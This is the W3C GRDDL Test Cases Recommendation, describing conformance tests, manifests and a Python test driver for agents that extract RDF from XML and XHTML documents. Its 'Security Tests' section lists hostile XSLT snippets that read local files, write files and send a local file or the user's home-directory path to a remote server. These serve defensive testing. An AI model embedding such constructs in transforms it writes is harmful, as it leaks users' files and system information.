Abstract
This document describes and
includes test cases for software agents that extract RDF from XML source
documents by following the set of mechanisms outlined in the Gleaning
Resource Description from Dialects of Language [GRDDL] specification. They demonstrate the expected
behavior of a GRDDL-aware agent by specifying one (or more) RDF graph
serializations which are the GRDDL results associated with a single source
document.
Status of This Document
This section describes the status of this document at the time of its publication. Other documents may supersede this document. A list of current W3C publications and the latest revision of this technical report can be found in the W3C technical reports index at http://www.w3.org/TR/.
This document has been reviewed by W3C Members, by software developers, and by other W3C groups and interested parties, and is endorsed by the Director as a W3C Recommendation. It is a stable document and may be used as reference material or cited from another document. W3C's role in making the Recommendation is to draw attention to the specification and to promote its widespread deployment. This enhances the functionality and interoperability of the Web.
This September 11th 2007 release of the GRDDL Test Cases is a W3C Recommendation by the W3C
GRDDL Working Group (part of the Semantic Web Activity). It has been widely reviewed and contributes to the requirements documented in GRDDL Charter; The tests within have been well implemented by a variety of software.
Please send comments about this document to public-grddl-comments@w3.org (with public archive). A log of changes is maintained for the convenience of editors and reviewers.
A pair of tests within contribute to addressing Web Architecture issue: xmlFunctions-34 and the notion of an elaborated infoset
In June 6th, 2007 the Working Group resolved to postpone issue-faithful-infoset in anticipation of ongoing dialog about the issue and the XML Processing Model Working Groups work to answer questions about transformation signaling and a default processing model.
This document was produced by a group operating under the 5 February 2004 W3C Patent Policy. W3C maintains a public list of any patent disclosures made in connection with the deliverables of the group; that page also includes instructions for disclosing a patent. An individual who has actual knowledge of a patent which the individual believes contains Essential Claim(s) must disclose the information in accordance with section 6 of the W3C Patent Policy.
Introduction
A set of test
cases is provided as part of the definition of [GRDDL]. This document presents those test cases. They
are intended to provide examples for, and clarification of, the normative
behavior of a GRDDL-aware agent. They should be used for testing the
conformance of GRDDL-aware agents. The normative tests cover behavior
expected of a GRDDL-aware agent. The informative tests demonstrate
other permitted behavior with respect to the issues resolved by the
Working Group. This document itself has (as a GRDDL result) a manifest
describing the test cases in RDF. For convenience, serializations of the
GRDDL result are available as RDF/XML and Turtle.
This document and its files serve as a framework to test implementations of the GRDDL specification. It contains assertions demonstrating which of the GRDDL rules are relevant for each test contained within. In this way, it formally exercises (via EARL) the mechanisms exhibited by GRDDL-aware Agents within a Semantic Web of XML Documents.
Deliverables
The deliverables included as
part of the test case collection are:
- A recommendation track document which normatively includes the
tests
- A manifest RDF/XML document describing the collection of
tests
- An example driver for use with testing a particular
implementation
- A zip archive
including:
- The input and output(s) for local test
- The manifest file
- The test driver
Note: the zip archive does not include tests which require network
connectivity in order to properly calculate their GRDDL results. In addition and for convenience, two manifest files are included which only
contain the normative tests: grddl-tests-normative.n3 (expressed in Turtle) and grddl-tests-normative.rdf (expressed in RDF/XML)
This test
collection uses an RDF vocabulary for manifests developed for the RDF Test Cases
Recommendation. A GRDDL-aware agent can extract the test collection and
automatically test compliance by attempting to reproduce the expected
GRDDL result(s) associated with each test case. Some input documents have
multiple output documents, see below
Each test starts with: a title (in bold), links to the input and
output documents, and a list of terms which indicate which GRDDL rules are exercised by
the test. Each term links to a section in the Test Coverage appendix which has additional information about
the rule definition and the other tests which exercise that particular
rule.
The test manifest includes statements which identify the rules exercised by each test. For every test, there will be a
assertion between the test and a URI associated with the rule, using the following property URI:
http://www.w3.org/2001/sw/grddl-wg/td/grddl-test-vocabulary#exercisesRule
The rule URIs correpond with anchors within the GRDDL specification document and are of the form:
http://www.w3.org/TR/grddl/#rule_RULE_IDENTIFIER
Using the Test Driver
We provide testft.py, a test driver, written in Python and based on rdflib 2.3.3. Run it a la:
$ python testft.py --run your_grddl_impl testlist1.rdf >earl_out.rdf
All tests were passed!
It has options for --debug and such;
invoke it with no arguments (or with --help) for details:
Options:
-r, --run path to a GRDDL implementation to use to process the
source document (checking results)
-u, --update path to a GRDDL Implementation to use to process the
source document
--tester The URI of an agent associated with the EARL test assertions.
A BNode is used if none is given
--project The URI of the EARL 'subject' (the implementation being tested).
A BNode is used if none is given
--local A boolean flag (false by default) which indicates whether to run only the local tests
The tests do not require the use of this driver
EARL Reporting
In addition to writing
various diagnostic messages to STDERR, the test harness writes
additional RDF data to STDOUT: an [EARL] test assertion about each test it runs.
To
tell it about the person running the tests and the software project being
tested, point it to a tester (a URI in a [FOAF] RDF graph) and a test subject (a URI in a [DOAP] RDF graph).
Protocol Tracing
We find TCPWatch
useful for debugging [HTTP]
protocol interactions. If you start TCPWatch like so:
$ python tcpwatch.py -p 6543 &
then you
can use it as a proxy:
$ http_proxy=http://127.0.0.1:6543 python testft.py
--run your_grddl_impl testharness.rdf
GRDDL Transform Library
A library of standard transforms is available for
widespread use by authors
Local Policies, Faithful Rendition, and Conformance
GRDDL explains that an author of a source XML document
with references to GRDDL transformations states
that these transformations will provide a Faithful
Rendition of the information expressed in the document. The
specification also grants a GRDDL-aware agent the license to
make a determination of whether or not to apply a particular
transformation guided by user interaction, a local security policy, or the
agent's capabilities. For example, a GRDDL-aware agent may have a
security policy that prevents it from accessing GRDDL transformations
located in untrusted domain names or it may be unable to apply
transformations given in a language it does not support, and so it may
be unable to produce the faithful rendition.
Furthermore, in addition to being GRDDL-aware, an agent may feature optional capabilities such as
the ability to locate a schema via mechanisms defined in the W3C XML Schema specification
[XMLSCHEMA]. Schemas identified this way
can become proxies for namespace documents that would normally be identified
by GRDDL, although it is possible
that the result of applying the transformations identified in these schemas will not be a faithful rendition.
However, in defining these
tests it was assumed that the GRDDL-aware agent being tested is using a
security policy which does not prevent it from applying
transformations identified in each test, supports XSLT 1.0, and does
not rely on any capabilities outside those defined in the GRDDL Specification.
Such an agent should produce the GRDDL result associated with each normative test,
except as specified immediately below.
Tests with Multiple GRDDL Results
Certain tests have multiple GRDDL results as a direct consequence of Faithful Infoset considerations, information resources
with multiple representations, and seperate GRDDL mechanisms
which produce distinct GRDDL results.
Tests of these kind can be considered as groups of N where
N is the number of valid GRDDL results for the common input
document.
Testing Faithful Infosets
In section 6. GRDDL
Transformations of [GRDDL], the question is
raised about how a Faithful Rendition of an XML Document's infoset (a Faithful Infoset) can be assured. GRDDL is silent about
whether or not any XInclude [XINCLUDE]
processing occurs before an XPath data model is created for use with GRDDL
and any nominated transformations. GRDDL suggests the use of XProc [XPROC] where more complex or sophisticated
transformation are required. XProc's XInclude component (see: 1.6 XInclude) can be
used in an XML pipeline to explicitly specify the application of XInclude
semantics against an XML infoset [XML
INFOSET].
In the absence of an explicit XProc test, Testing GRDDL when XInclude processing is enabled and
Testing GRDDL when XInclude processing is
disabled are examples of tests which share the same source document,
but have different XPath data models depending on whether any XInclude
processing occurs. For such tests, a GRDDL-aware agent should output at
least one of the GRDDL results associated with the single source
document.
The tests manifest includes a symmetric property [OWL]
(http://www.w3.org/2001/sw/grddl-wg/td/grddl-test-vocabulary#alternative)
asserted between them. A GRDDL-aware agent running the tests can take this
into consideration.
Testing for Multiple
Representations
Information resources can also have multiple representations in response to content negotiation. In
addition to the GRDDL results associated with each representation a test
for the maximal result is included: the GRDDL result which
consists of the merge
of all possible GRDDL results.
Note, however, that the maximal result is not
isomorphic with the other results. To aid a test harness in determining
compliance for scenarios such as these, the tests have a property
(http://www.w3.org/2001/sw/grddl-wg/td/grddl-test-vocabulary#subsumes)
asserted from the test for the maximal result to the other tests in the
group. A GRDDL-aware agent running the tests can take this into
consideration.
Testing for Maximal Result
The remaining set of tests with multiple results are those where there
is no ambiguity with the XPath data model associated with the source
document, there is a single representation, and multiple GRDDL mechanisms
apply. In the absence of a policy which
prevents each GRDDL result from being computed, a GRDDL-aware agent should
produce the maximal result.
Test Naming Convention
Every test has
a URI of the form:
http://www.w3.org/2001/sw/grddl-wg/td/grddl-tests#LOCALNAME
The test collection can either be run locally (see "Localized Tests") or over a network. Certain
tests are marked as requiring a network connection with an open
circle as their list item marker. These tests are asserted as members of
the
http://www.w3.org/2001/sw/grddl-wg/td/grddl-test-vocabulary#NetworkedTest
class in the test manifest. A GRDDL-aware agent running the tests can take
this into consideration.
The tests which require a network
connection use absolute URIs (in the test manifest) to refer to their test
material (input and output)
Tests which do not require a network connection use relative URIs (in
the test manifest) instead.
Normative Tests
Each test has an input
document and an output document. the output document is an RDF/XML
document and represents a GRDDL result of the input document.
Localized Tests
For the sake of convenience, this first set of normative tests cover
simple scenarios where neither namespace
documents nor absolute URIs are used. Such tests can run offline
rather easily.
- P3P work-alike:
This test case
exercises a single GRDDL transformation that is identified using the
general XML markup from within the source document.
approval: 2007-04-11
- Get RDF from a spreadsheet:
This test
case exercises a single GRDDL transformation that is identified using
the general XML markup from within a relatively complex source
document.
approval: 2007-04-11
- RDFa example:
This test case
exercises a single GRDDL transformation that is identified using XHTML
markup within the source document. Note that this test case uses a
transformation for RDFa that reflects
the status of RDFa markup as of the development of the test case.
Approval: 2007-04-11
- Inline transformation reference
This test case
uses an inline GRDDL transformation reference (i.e. within an
a element) instead of one within a link
element. It also exercises the fact that the rel attribute
can take multiple space-separated values, and only one of them needs to
be equal to transformation to indicate that the resource is
in fact a GRDDL transformation.
Approval:
2007-04-11
- Base URI: Same document reference
The base URI
for the result document is the URI of the source document.
Approval: 2007-04-11
- Title / Author (from specification)
See the
faithful rendition
of the input document.
Approval: 2007-04-11
- RDF/XML document:
If
an information resource is represented by a conforming RDF/XML document,
then the RDF graph represented by that document is a GRDDL result of
IR.
Approval: 2007-04-18
- One transform linked from the head of
a document with only the GRDDL profile
an XHTML file
with the GRDDL profile is interpreted by applying the transformations
included in links annotated with rel='transformation'
Approval: 2007-04-18
- One transform linked from
the body of a document with only the GRDDL profile
an XHTML file with
the GRDDL profile is interpreted by applying the transformations
included in links annotated with rel='transformation', including links
in the body of the document
Approval: 2007-04-18
- One transform linked from the
head of a document with several profiles, including the GRDDL
profile
An XHTML file
with the GRDDL profile present among other non GRDDL-profiles is
interpreted by applying the transformations included in links annotated
with rel='transformation'
Approval: 2007-04-25
- Two transformations
linked from the body of a document with the GRDDL profile
An XHTML file
with the GRDDL profile present is interpreted by applying the
transformations included in all the links annotated with
rel='transformation' and merging the resulting RDF/XML graphs.
Approval: 2007-04-25
- XML document
linking to its transformer through the GRDDL attribute
An XML file
- in this case, an SVG document - with the GRDDL attribute on the root
element; SVG's namespace document is not in an XML format, which makes
fail some implementations of GRDDL
Approval: 2007-04-18
Namespace Documents and Absolute
Locations
These tests include the use of namespace documents and absolute URIs
and are more difficult to run offline.
- An hcard profile
This test
case exercises identifying GRDDL transformations using
profileTransformation assertions. In this case, an XHTML
document notes a profile URI to which it belongs. The profile document,
retrieved from the URI, identifies a GRDDL transformation for the
original document with a profileTransformation assertion in
its own GRDDL result.
Approval: 2007-04-25
- 2 profiles: eRDF and
hCard
This test case
exercises identifying GRDDL transformations using
profileTransformation assertions from the GRDDL results of
multiple XHTML profile documents.
Approval:
2007-04-25
- Namespace documents and media
types 1
The namespace document is an RDF document served as mimetype
application/xml
Approval: 2007-04-25
- Namespace documents and media
types 2
This test case exercises identifying GRDDL transformations using
namespaceTransformation assertions. In this case, an XML
document has a root element with a namespace URI. The namespace
document, retrieved from the URI, is an RDF/XML document (and so
contributes to its own GRDDL results) and identifies a GRDDL
transformation for the original document with a
namespaceTransformation assertion.
Approval: 2007-04-18
- A variant of the card5n test
Approval: 2007-04-25
- hcard from a 1998 review
comment on P3P:
Approval: 2007-04-25
- A copy of the hcard profile
Approval: 2007-04-25
- An XML document with
two namespace transformations
This also has
an in-body transformation, which has not been added to the root
element.
Approval: 2007-04-18
- An XML document with
two namespace transformations and a transform on the root element
This also has an in-body
transformation on the root element.
Approval: 2007-04-25
- An XML document with
two namespace transformations and two transforms on the root
element:
This also has two in-body
transformations on the root element.
Approval: 2007-04-18
- A variant of the hcard
profile
Approval: 2007-04-25
- Document
linking to its transformer through a GRDDL-enabled profile
An XHTML
file with a profile whose interpretation through GRDDL gives a
transformation for the said XHTML file.
Approval: 2007-04-25
Library Tests
The following tests are tests primarily of the library code.
- Embedded RDF1
a simple test for
embedded RDF.
Approval: 2007-06-27
- Embedded RDF2
a test for
embedded RDF, with two blocks of RDF
Approval: 2007-06-27
- Embedded RDF3
a test for embedded RDF.
A corner case: an RDF document.
Approval:
2007-06-27
- Glean Profile
a test for glean
profile, checking the treatment of spaces in the rel attribute.
Approval: 2007-04-25
- Embedded RDF using a
relative xml:base:
Approval: 2007-06-27
- Embedded RDF using an
absolute xml:base:
Approval: 2007-06-27
- Embedded RDF using two
nested absolute xml:base:
Approval: 2007-06-27
- Embedded RDF using two
different xml:base on two different blocks of RDF:
Approval: 2007-04-25
- Embedded RDF using two
different xml:lang on two different blocks of RDF:
Approval: 2007-06-27
- Embedded RDF using two
different inherited xml:lang on two different blocks of RDF:
Approval: 2007-06-27
- An XHTML profile
using a base element
This is from the final
URI.
Approval: 2007-04-25
- An XHTML profile
using a base element
This is from a
redirected URI.
Approval: 2007-04-25
- XHTML with an XHTML
profile using a base element
This shows
intended use of the profile.
Approval: 2007-04-25
Ambiguous Infosets, Representations,
and Traversals
These tests help check for robustness of
implementations in the face of various odd cases.
- Namepace Loop
Approval: 2007-04-25
- Testing GRDDL when XInclude processing is
enabled
In this test case, the input file uses XInclude to reference xinclude2.xml,
and the output has only one triple unless the XML Processor of
the GRDDL implementation supports XInclude. The output for this case
assumes that the processor does resolve XIncludes. This test
case (and the one that follows) exercises the Working Group's resolution
regarding faithful infosets. In particular, the output illustrates a situation where the XML processor employed
invokes XInclude processing at a low-level and presents the expanded
result infoset
[XINCLUDE] to the higher-level application
(the GRDDL-aware agent. See: 1.1 Relationship to
XLink [XINCLUDE]).
Approval: 2007-04-11
This pair of tests anticipate that the resolution of TAG issue xmlFunctions-34 will provide further guidance concerning them.
- Testing GRDDL when XInclude processing is
disabled
This test case is an alternative to the
XInclude enabled test case. The output for this case assumes that
the processor does not resolve XIncludes, which may lead to a
different GRDDL result. Note that the unexpanded infoset and its
corresponding XPath Data Model (See: B XML Information Set
Mapping [XPATH]) could instead have been
presented to an XProc pipeline with an explicit XInclude component.
Approval: 2007-04-11
- Testing GRDDL attributes on RDF documents
Note that the
input is an RDF document with a GRDDL transformation, and that
according to the rules given by the GRDDL Specification, there are
three distinct and equally valid output graphs for this test
for this document. This
output is a graph that is merge of the graph given by the source
document with the graph given by the result of the GRDDL
transformation.
Approval: 2007-04-25
- Spaces in rel
attribute
The rel attribute can
take multiple values.
Approval: 2007-04-25
- Recursion 1
The layering tests, permit arbitrary nesting (up to depth 9) of HTML
profiles and XML namespaces. The general pattern is:
- Take a string
$V matching
((ns|pf)-){0-8}.
- The document
ns-$Vfnd is an xml document with
namespace $Vfnd.
- The document
pf-$Vfnd is an xhtml document with
profile $Vfnd.
- The RDF/XML document
fnd specifies appropriate
transformations, so that every possible stack have GRDDL results.
These are all different.
- The output document
fnd-$Voutput.srdf is the
correct answer.
An HTML document which has a profile being an HTML
document, which has a profile being an HTML document, which has a
profile being an XML document, which has an RDF namespace
document.
Approval: 2007-04-18
- Recursion 2
An XML
document which has an XML namespace document, which has an HTML
namespace document, which has a profile being an HTML document, which
has a profile being an RDF document./
Approval: 2007-04-18
- Recursion 3
An XML
document which has an HTML namespace document, which has a profile
being an XML document, which has an HTML namespace document, which has
a profile being an XML document, which has an RDF namespace
document.
Approval: 2007-04-18
- Namespace loop
The following four tests
demonstrate GRDDL results for a self-referencing input document.
Unlike other tests of this kind, the
last of these - the maximal result - is not exlusive. This reflects an
interpretation of SHOULD as used in section 7.
GRDDL-Aware Agents of [GRDDL] with
regards to the computation of GRDDL results. In particular, this
interpretation and the text in the section that follows (8. Security
considerations) permits an implementation to only pass the first
test due to security restrictions against computing recursive GRDDL
results.
For this particular test, an XML document is its own
namespace document, with a GRDDL transformation, specifying a
namespaceTransformation, which specifies a further
namespaceTransformation. This result is the first
possible GRDDL result. Implementations that make no allowance for such
cases may produce this result. Documents authors are advised against
having information resources whose GRDDL results depend on other GRDDL
results for the same resource.
Approval:
2007-04-25
- Namespace loop
An XML document is its own
namespace document, with grddl transformation, specifying a
namespaceTransformation, which specifies a further
namespaceTransformation. This result is the merge of the
first two possible GRDDL results. Implementations that make no special
allowance for or prohibition of such cases may produce this result.
Documents authors are advised against having information resources
whose GRDDL results depend on other GRDDL results for the same
resource.
Approval: 2007-04-25
- Namespace loop
An XML document is its own
namespace document, with grddl transformation, specifying a
namespaceTransformation, which specifies a further
namespaceTransformation. This result is the merge of the
first three possible GRDDL results. Implementations that make no
special allowance for or prohibition of such cases may produce this
result. Documents authors are advised against having information
resources whose GRDDL results depend on other GRDDL results for the
same resource.
Approval: 2007-04-25
- Namespace loop
An XML document is its
own namespace document, with a GRDDL transformation, specifying a
namespaceTransformation, which specifies a further
namespaceTransformation. This result is the merge of all
possible GRDDL results. Documents authors are advised against having
information resources whose GRDDL results depend on other GRDDL
results for the same resource.
Approval: 2007-04-25
- HTML
document with transformation attribute on root
Two transforms apply
to this document, following rules in both sections 2 and 4 of the
specification.
Approval: 2007-04-25
- Document
linking to its transformer through a GRDDL-enabled profile, and with
in-line transformation
An XHTML
file with a profile whose interpretation through GRDDL gives a
transformation for the said XHTML file; the document also specifies
the GRDDL profile, and a transformation.
Approval: 2007-04-25
- Document
linking to its transformer through a GRDDL-enabled profile, and with
in-line transformation
An XHTML
file with a profile whose interpretation through GRDDL gives a
transformation for the said XHTML file; the document also specifies a
transformation, but omits to specify the GRDDL profile.
Approval: 2007-04-25
- Testing GRDDL attributes on RDF
documents with XML media type
This test
differs from the previous example of
applying GRDDL to an RDF/XML document in that the RDF file is served
(not best practice, but rather common) as media-type
"application/xml". The
output is a graph that is merge of the graph given by the source
document with the graph given by the result of the GRDDL
transformation.
Approval: 2007-04-18
- Content Negotiation with
GRDDL (1 of 2)
This test
exists to bring attention to developers to issues of content
negotiation, in particular, content negotiation over language as
described
and implemented by W3C QA. There are two valid resulting GRDDL
results of running this GRDDL transformation depending on what
language the GRDDL-aware agent uses, and an implementation of a
GRDDL-aware agent only needs to retrieve the one that is appropriate
for its HTTP header request. This result follows from retrieving a
English version of the HTML representation and thus having the GRDDL
result produce a result with English-language content.
Approval: 2007-04-25
- Content Negotiation with
GRDDL (2 of 2)
This
result follows from retrieving a German version of the HTML
representation and thus having the GRDDL result produce a result with
German-language content.
Approval: 2007-04-25
- Content Negotation with
GRDDL (3 of 3):
A GRDDL aware agent may
retrieve both representations, for example, by using transparent
content negotiation. This GRDDL result is the merge of the previous
two.
Approval: 2007-04-25
- Multiple
Representations (HTML):
This test gives the
GRDDL result of the HTML representation.
Approval: 2007-04-25
- Multiple
Representations (SVG):
This test gives
the GRDDL result of the SVG representation.
Approval: 2007-04-25
- Multiple
Representations (both):
This GRDDL result is
the merge of the previous two.
Approval: 2007-04-25
- An html document with a
base element:
Approval: 2007-04-25
- A similar html document
without a base element:
Approval: 2007-04-25
- A redirected html document
with a base element:
Approval: 2007-04-25
- A similar redirected html
document without a base element:
Approval: 2007-04-25
- An xml document with an
xml:base attribute:
This test case
exercises resolution of relative references found in the GRDDL results
for a general XML document. In this case, according to RFC
3986, section 5.1, a base URI for the relative reference is
recursively discovered on the encapsulating entity for the GRDDL
results, which is the root element of the
input document, in order to maintain fidelity to the faithful rendition
requirement. The root element assigns the base URI using the
mechanism described in XML
Base.
Approval: 2007-04-27
- A similar xml document
without an xml:base attribute:
This test case
exercises resolution of relative references found in the GRDDL results
for a general XML document. In this case, according to RFC
3986, section 5.1, a base URI for the relative reference is
recursively discovered to be the URI used to retrieve the
input document, since no base URI is assigned in the content of
the encapsulating entity (that is, the root element of the input
document).
Approval: 2007-04-27
- A redirected xml document
with an xml:base attribute:
This test case
exercises resolution of relative references found in the GRDDL results
for a general XML document when that document is resolved through a
protocol redirection mechanism. The base URI for these relative
references is established by the xml:base attribute on the root
element, as for "An
xml document with an xml:base attribute".
Approval: 2007-04-27
- A similar redirected xml
document without an xml:base attribute:
This test case
exercises resolution of relative references found in the GRDDL results
for a general XML document when that document is resolved through a
protocol redirection mechanism. The base URI of the document is the
target URI of the last redirection step; after establishing this fact,
this test case follows the same behavior as "A
similar xml document without an xml:base attribute".
Approval: 2007-04-27
Primer Material
This section
includes material from the [Primer].
This section
includes tests not covered explicitly by the normative text of the GRDDL
but demonstrate additional behavior that a GRDDL-aware agent may exhibit.
They reflect behavior suggested by the Working Group as a result of
resolving certain issues.
Security Tests
The following
security tests are provided for implementers to adapt and use for their
implementation. Security issues are usually system specific, and it may be
possible for a malicious party to access XSLT version and vendor
information concerning a specific GRDDL agent instance.
We do not
provide instructions as to how to test your system against these tests,
since they are likely to be not directly applicable. Developers of GRDDL
aware agents are encouraged to understand these tests, and consider how
their own systems may have potential security weaknesses.
- Reading local file
Using
document('file:///temp/local.txt').
- Reading remote file
Using
document('http://www.w3.org/').
- Writing local file
Using
<xsl:result-document
href="file:///temp/a.txt">.
- Sending local file to
remote server Using
<xsl:value-of select="document(
concat( 'http://www.w3.org/?', encode-for-uri(
unparsed-text('file:///temp/local.txt') ) ) )" />
- Sending user information to
remote server The suspect code occurs in the transform for the
profile document, and is
rdf:resource="security6.sxsl?{system-property('user.home')}".
This uses a Saxon extension to the XSLT system-property
function.
Appendices
A Test Coverage
This section groups
the tests according to the GRDDL rules they exercise as described in the
specification. Each group leads with a link into the specification where
the formal semantics of the corresponding rule is defined.
See rule (#rule_GRDDL_transformation).
A.2 Merging GRDDL Results - merge
See
rule (#rule_merge).
A.3 Nominating Namespace Transformations -
ns
See rule (#rule_nstx).
A.4 RDF/XML Base Rule -
rdfx-base
See rule (#rule_rdfxbase).
A.5 Nominating Transformations via GRDDL
Metadata Profile - grddl-profile
See rule (#rule_tlrel).
A.6 Identifying Metadata Profile
Transformations - other-profile
See rule (#rule_profiletrans).
B References
B.1 Normative
- [GRDDL]
- Gleaning
Resource Descriptions from Dialects of Languages (GRDDL), Dan
Connolly, 2007/03/02
- [RDF
Concepts]
- RDF Concepts and Abstract Syntax, Graham
Klyne and Jeremy J. Carroll, Editors, W3C Recommendation 10 February
2004. Latest
version available at http://www.w3.org/TR/rdf-concepts/ .
- [RDF
Syntax]
- RDF/XML Syntax Specification (Revised). Dave
Beckett, Editor, W3C Recommendation 10 February 2004. Latest
version available at http://www.w3.org/TR/rdf-syntax-grammar/
.
- [XMLSCHEMA]
- XML Schema Part 1: Structures Second Edition , H. Thompson, D. Beech, M. Maloney, N. Mendelsohn, W3C Recommendation, 28 October 2004,
http://www.w3.org/TR/2004/REC-xmlschema-1-20041028/ . Latest version available
at http://www.w3.org/TR/xmlschema-1/ ..
- [XINCLUDE]
- XML Inclusions (XInclude) Version 1.0 (Second Edition) , J. Marsh, D. Orchard, D. Veillard, W3C Recommendation, 15 November 2006,
http://www.w3.org/TR/2006/REC-xinclude-20061115/ . Latest version available
at http://www.w3.org/TR/xinclude/ ..
- [XPROC]
- XProc: An XML Pipeline Language, N. Walsh, A. Milowski, W3C Working Draft (work in progress), 5 April 2007,
http://www.w3.org/TR/2007/WD-xproc-20070405/ . Latest version available
at http://www.w3.org/TR/xproc/ ..
- [XPATH]
- XML Path Language (XPath) Version 1.0, J. Clark, S. J.
DeRose, Editors, W3C Recommendation, 16 November 1999,
http://www.w3.org/TR/1999/REC-xpath-19991116 . Latest version available at http://www.w3.org/TR/xpath .
- [XML INFOSET]
- XML Information Set (Second Edition), J. Cowan, R. Tobin, W3C Recommendation, 4 February 2004,
http://www.w3.org/TR/2004/REC-xml-infoset-20040204/ . Latest version available
at http://www.w3.org/TR/xml-infoset/ ..
- [TURTLE]
- Turtle - Terse RDF Triple Language. Dave
Beckett, Editor, 04 December 2006.
- [PRIMER]
- GRDDL Primer , I. Davis, Editor, W3C Working Draft
(work in progress), 2 October 2006,
http://www.w3.org/TR/2006/WD-grddl-primer-20061002/ . Latest version available
at http://www.w3.org/TR/grddl-primer/ ..
- [EARL]
-
Evaluation and Report Language (EARL) 1.0 Schema. Shadi
Abou-Zahra and Charles McCathieNevile, Editors, W3C Working Draft 27
September 2006, http://www.w3.org/TR/EARL10-Schema/ .
- [WEBARCH]
- Architecture of the World Wide Web, Volume One
, N. Walsh, I. Jacobs, Editors, W3C Recommendation, 15 December
2004. Latest
version available at http://www.w3.org/TR/webarch/ .
- [OWL]
- OWL Web Ontology Language Reference , S.
Bechhofer, F. van Harmelen, J. Hendler, I. Horrocks, D. L. McGuinness,
P. F. Patel-Schneider, L. Andrea Stein, W3C Recommendation, 10
February 2004. Latest version available at
http://www.w3.org/TR/owl-ref/ .
- [RFC2616]
- IETF RFC 2616: Hypertext Transfer Protocol -
HTTP/1.1, J. Gettys, J. Mogul, H. Frystyk, L. Masinter, P.
Leach, T. Berners-Lee, June 1999. Available at
http://www.ietf.org/rfc/rfc2616.txt.
- [FOAF]
- FOAF
Vocabulary Specification , Dan Brickley, Libby Miller, 27
July 2005.
- [DOAP]
- DOAP:
Description of a Project , Edd Dumbill.
C Acknowledgements
The editor thankfully acknowledges the contributions of the following
Working Group members and personel:
The security tests were created during the development of the Jena GRDDL Reader which uses
the Saxon8.8 XSLT processor.
They hence illustrate how a malicious party may try to abuse features of
such an implementation.
D Change Log
The only change since the July Proposed Recommendation
was:
